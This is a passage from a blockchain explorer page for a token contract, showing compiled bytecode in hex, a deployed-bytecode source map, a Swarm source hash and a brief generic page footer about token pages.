45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61128f602283610da5565b915061129a82611235565b604082019050919050565b5f6020820190508181035f8301526112bc81611283565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f61131d602a83610da5565b9150611328826112c3565b604082019050919050565b5f6020820190508181035f83015261134a81611311565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b5f6113ab602683610da5565b91506113b682611351565b604082019050919050565b5f6020820190508181035f8301526113d88161139f565b9050919050565b5f6113e982610ea3565b91506113f483610ea3565b925082820261140281610ea3565b91508282048414831517611419576114186110e1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61145782610ea3565b915061146283610ea3565b92508261147257611471611420565b5b828204905092915050565b5f61148782610ea3565b915061149283610ea3565b92508282019050808211156114aa576114a96110e1565b5b9291505056fea26469706673582212201d7bd0ab4bd8b70fd55098cbd51aa51428c129bea1efa63e3a346baaeca1bf6664736f6c63430008170033

Deployed Bytecode Sourcemap

409:4083:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1798:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2511:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2222:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2673:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1889:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2075:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2934:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2321:182;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1980:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3052:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3216:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1798:83;1835:13;1868:5;1861:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1798:83;:::o;2511:150::-;2577:4;2594:37;2603:10;2615:7;2624:6;2594:8;:37::i;:::-;2649:4;2642:11;;2511:150;;;;:::o;2222:91::-;2266:7;2293:12;;2286:19;;2222:91;:::o;2673:253::-;2762:4;2779:36;2789:6;2797:9;2808:6;2779:9;:36::i;:::-;2826:70;2835:6;2843:10;2889:6;2855:11;:19;2867:6;2855:19;;;;;;;;;;;;;;;:31;2875:10;2855:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2826:8;:70::i;:::-;2914:4;2907:11;;2673:253;;;;;:::o;1889:83::-;1930:5;1955:9;;;;;;;;;;;1948:16;;1889:83;:::o;2075:139::-;2135:4;2180:26;;2159:17;2169:6;2159:9;:17::i;:::-;:47;;2152:54;;2075:139;;;:::o;2934:110::-;2991:7;3018:9;:18;3028:7;3018:18;;;;;;;;;;;;;;;;3011:25;;2934:110;;;:::o;2321:182::-;2377:7;2422:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2404:52;;;2465:4;2472:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2404:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2397:98;;2321:182;:::o;1980:87::-;2019:13;2052:7;2045:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1980:87;:::o;3052:156::-;3121:4;3138:40;3148:10;3160:9;3171:6;3138:9;:40::i;:::-;3196:4;3189:11;;3052:156;;;;:::o;3216:134::-;3288:7;3315:11;:18;3327:5;3315:18;;;;;;;;;;;;;;;:27;3334:7;3315:27;;;;;;;;;;;;;;;;3308:34;;3216:134;;;;:::o;4154:335::-;4264:1;4247:19;;:5;:19;;;4239:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4345:1;4326:21;;:7;:21;;;4318:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4427:6;4397:11;:18;4409:5;4397:18;;;;;;;;;;;;;;;:27;4416:7;4397:27;;;;;;;;;;;;;;;:36;;;;4465:7;4449:32;;4458:5;4449:32;;;4474:6;4449:32;;;;;;:::i;:::-;;;;;;;;4154:335;;;:::o;3358:788::-;3455:1;3446:6;:10;3438:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;3538:1;3522:18;;:4;:18;;;3514:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;3594:12;3631:10;;;;;;;;;;;3625:16;;:2;:16;;;;:38;;;;;3653:10;;;;;;;;;;;3645:18;;:4;:18;;;;3625:38;3621:84;;;3687:6;;3680:13;;3621:84;3725:10;;;;;;;;;;;3719:16;;:2;:16;;;;:53;;;;;3747:25;:23;:25::i;:::-;3739:33;;:4;:33;;;;3719:53;:75;;;;;3784:10;;;;;;;;;;;3776:18;;:4;:18;;;;3719:75;:100;;;;;3814:4;3798:21;;:4;:21;;;;3719:100;3715:203;;;3859:16;;;;;;;;;;;:24;;;3884:4;3898;3859:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3843:63;;3836:70;;3715:203;3928:18;3965:3;3956:6;3949:4;:13;;;;:::i;:::-;:19;;;;:::i;:::-;3928:40;;4020:10;4011:6;3995:9;:13;4005:2;3995:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:35;;;;:::i;:::-;3979:9;:13;3989:2;3979:13;;;;;;;;;;;;;;;:51;;;;4077:6;4059:9;:15;4069:4;4059:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4041:9;:15;4051:4;4041:15;;;;;;;;;;;;;;;:42;;;;4114:2;4099:39;;4108:4;4099:39;;;4127:10;4118:6;:19;;;;:::i;:::-;4099:39;;;;;;:::i;:::-;;;;;;;;3427:719;;3358:788;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:194;6758:4;6778:20;6796:1;6778:20;:::i;:::-;6773:25;;6812:20;6830:1;6812:20;:::i;:::-;6807:25;;6856:1;6853;6849:9;6841:17;;6880:1;6874:4;6871:11;6868:37;;;6885:18;;:::i;:::-;6868:37;6718:194;;;;:::o;6918:143::-;6975:5;7006:6;7000:13;6991:22;;7022:33;7049:5;7022:33;:::i;:::-;6918:143;;;;:::o;7067:351::-;7137:6;7186:2;7174:9;7165:7;7161:23;7157:32;7154:119;;;7192:79;;:::i;:::-;7154:119;7312:1;7337:64;7393:7;7384:6;7373:9;7369:22;7337:64;:::i;:::-;7327:74;;7283:128;7067:351;;;;:::o;7424:332::-;7545:4;7583:2;7572:9;7568:18;7560:26;;7596:71;7664:1;7653:9;7649:17;7640:6;7596:71;:::i;:::-;7677:72;7745:2;7734:9;7730:18;7721:6;7677:72;:::i;:::-;7424:332;;;;;:::o;7762:223::-;7902:34;7898:1;7890:6;7886:14;7879:58;7971:6;7966:2;7958:6;7954:15;7947:31;7762:223;:::o;7991:366::-;8133:3;8154:67;8218:2;8213:3;8154:67;:::i;:::-;8147:74;;8230:93;8319:3;8230:93;:::i;:::-;8348:2;8343:3;8339:12;8332:19;;7991:366;;;:::o;8363:419::-;8529:4;8567:2;8556:9;8552:18;8544:26;;8616:9;8610:4;8606:20;8602:1;8591:9;8587:17;8580:47;8644:131;8770:4;8644:131;:::i;:::-;8636:139;;8363:419;;;:::o;8788:221::-;8928:34;8924:1;8916:6;8912:14;8905:58;8997:4;8992:2;8984:6;8980:15;8973:29;8788:221;:::o;9015:366::-;9157:3;9178:67;9242:2;9237:3;9178:67;:::i;:::-;9171:74;;9254:93;9343:3;9254:93;:::i;:::-;9372:2;9367:3;9363:12;9356:19;;9015:366;;;:::o;9387:419::-;9553:4;9591:2;9580:9;9576:18;9568:26;;9640:9;9634:4;9630:20;9626:1;9615:9;9611:17;9604:47;9668:131;9794:4;9668:131;:::i;:::-;9660:139;;9387:419;;;:::o;9812:229::-;9952:34;9948:1;9940:6;9936:14;9929:58;10021:12;10016:2;10008:6;10004:15;9997:37;9812:229;:::o;10047:366::-;10189:3;10210:67;10274:2;10269:3;10210:67;:::i;:::-;10203:74;;10286:93;10375:3;10286:93;:::i;:::-;10404:2;10399:3;10395:12;10388:19;;10047:366;;;:::o;10419:419::-;10585:4;10623:2;10612:9;10608:18;10600:26;;10672:9;10666:4;10662:20;10658:1;10647:9;10643:17;10636:47;10700:131;10826:4;10700:131;:::i;:::-;10692:139;;10419:419;;;:::o;10844:225::-;10984:34;10980:1;10972:6;10968:14;10961:58;11053:8;11048:2;11040:6;11036:15;11029:33;10844:225;:::o;11075:366::-;11217:3;11238:67;11302:2;11297:3;11238:67;:::i;:::-;11231:74;;11314:93;11403:3;11314:93;:::i;:::-;11432:2;11427:3;11423:12;11416:19;;11075:366;;;:::o;11447:419::-;11613:4;11651:2;11640:9;11636:18;11628:26;;11700:9;11694:4;11690:20;11686:1;11675:9;11671:17;11664:47;11728:131;11854:4;11728:131;:::i;:::-;11720:139;;11447:419;;;:::o;11872:410::-;11912:7;11935:20;11953:1;11935:20;:::i;:::-;11930:25;;11969:20;11987:1;11969:20;:::i;:::-;11964:25;;12024:1;12021;12017:9;12046:30;12064:11;12046:30;:::i;:::-;12035:41;;12225:1;12216:7;12212:15;12209:1;12206:22;12186:1;12179:9;12159:83;12136:139;;12255:18;;:::i;:::-;12136:139;11920:362;11872:410;;;;:::o;12288:180::-;12336:77;12333:1;12326:88;12433:4;12430:1;12423:15;12457:4;12454:1;12447:15;12474:185;12514:1;12531:20;12549:1;12531:20;:::i;:::-;12526:25;;12565:20;12583:1;12565:20;:::i;:::-;12560:25;;12604:1;12594:35;;12609:18;;:::i;:::-;12594:35;12651:1;12648;12644:9;12639:14;;12474:185;;;;:::o;12665:191::-;12705:3;12724:20;12742:1;12724:20;:::i;:::-;12719:25;;12758:20;12776:1;12758:20;:::i;:::-;12753:25;;12801:1;12798;12794:9;12787:16;;12822:3;12819:1;12816:10;12813:36;;;12829:18;;:::i;:::-;12813:36;12665:191;;;;:::o

Swarm Source

ipfs://1d7bd0ab4bd8b70fd55098cbd51aa51428c129bea1efa63e3a346baaeca1bf66
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.